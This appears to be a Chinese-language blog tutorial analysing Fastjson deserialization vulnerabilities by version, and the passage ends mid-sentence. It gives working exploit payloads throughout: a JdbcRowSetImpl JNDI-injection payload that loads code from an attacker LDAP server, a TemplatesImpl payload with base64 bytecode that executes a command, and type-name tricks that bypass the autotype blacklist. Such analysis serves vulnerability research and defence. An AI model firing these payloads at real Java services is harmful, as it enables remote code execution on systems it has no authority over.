Fastjson简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
漏洞原理
这里没有细说fastjson发序列化的机制,总结起来就是以下内容:
- 反序列化时JSON字符串@type的值指定了要将此JSON字符串实例化为什么对象,在此过程中fastjson调用了setter/getter,其中以get/set开头且满足一下条件都会被调用到:
- 方法名称长度大于等于4
- 非静态方法
- 方法名以get开头,且第四个字符为大写字母如getAge
- 方法无需传参
- 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种
- 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数
Feature.SupportNonPublicField才会正确赋值
- fastjson在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_字符串
所以说fastjson反序列化漏洞利用的点就是在反序列化时会自动调用@type指定类中的get/set方法,然后寻找这些可被调用的方法中能走到可以执行恶意代码或者加载恶意类的
1.1.22-1.2.24
导入该版本依赖

JdbcRowSetImpl利用链
com.sun.rowset.JdbcRowSetImpl类中的setAutoCommit()函数调用了connect()函数,该函数中存在jndi注入,且getDataSourceName()获取的DataSourceName值也是可控的

编写exp,构造一下payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}

指定type为JdbcRowSetImpl类,传入dataSourceName和autoCommit可以调用到setAutoCommit()和setDataSourceName()方法,通过JNDI-Injection-Exploit生成JNDI链接,实现jndi注入

TemplatesImpl利用链
因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类里面都是私有变量该链在反序列化时需要加上Feature.SupportNonPublicField参数
TemplatesImpl类中getOutputProperties()方法调用了newTransformer()

newTransformer()调用了getTransletInstance()

getTransletInstance()调用了defineTransletClasses()

最后defineTransletClasses()有循环类加载的过程,参数是_bytecodes,这里就是利用点,接下来需要解决调用过程中的问题

1.首先是开头说的加上Feature.SupportNonPublicField参数
2.然后是getTransletInstance()函数中_name不为null,_class为null
3._bytecodes[]中加载的类需为AbstractTranslet的子类
除此之外还有fastjson本身的功能特点:
4.fastjson在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
5.fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码
所以_bytecodes传入原类内容为

将其转为字节码,然后base64编码后,最终payload为
点击查看代码- {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}
复制代码
1.2.25-1.2.41
导入该版本依赖

该版本添加了黑名单

且添加了autoTypeSupport参数来控制能否反序列化,默认不能,所以利用范围变小了,如果能反序列化的话会调用checkAutoType()函数检查

在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常,否则进入到TypeUtils.loadClass中

然后下面有判断autoTypeSupport是否为true,不为true就检查黑名单后抛异常,为true会再调用一次TypeUtils.loadClass


再看TypeUtils.loadClass(),在TypeUtils.loadClass中,可以看到对[ L ;进行了处理,而其中在处理L ; 的时候存在了逻辑漏洞,可以在@type的前后分别加上L ;来进行绕过
payload如下- ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
- {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}
复制代码
1.2.42
导入该版本依赖

黑名单变成了HashCode

checkAutoType()中进行了L;截取,然后就直接进入了TypeUtils.loadClass

所以前后双写L和;就可绕过
payload:- ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
- {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}
复制代码
1.2.43
导入该版本依赖
添加判断,如果以LL开头直接抛异常

可以使用TypeUtils.loadClass中对于[的处理来绕过
payload:- ParserConfig.getGlobalInstance().setAutoTypeSupport(true); //开启autoTypeSupport
- {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/ut3kwl","autoCommit":true}//“[{”不加会出异常
复制代码
ps:该payload在1.2.25 |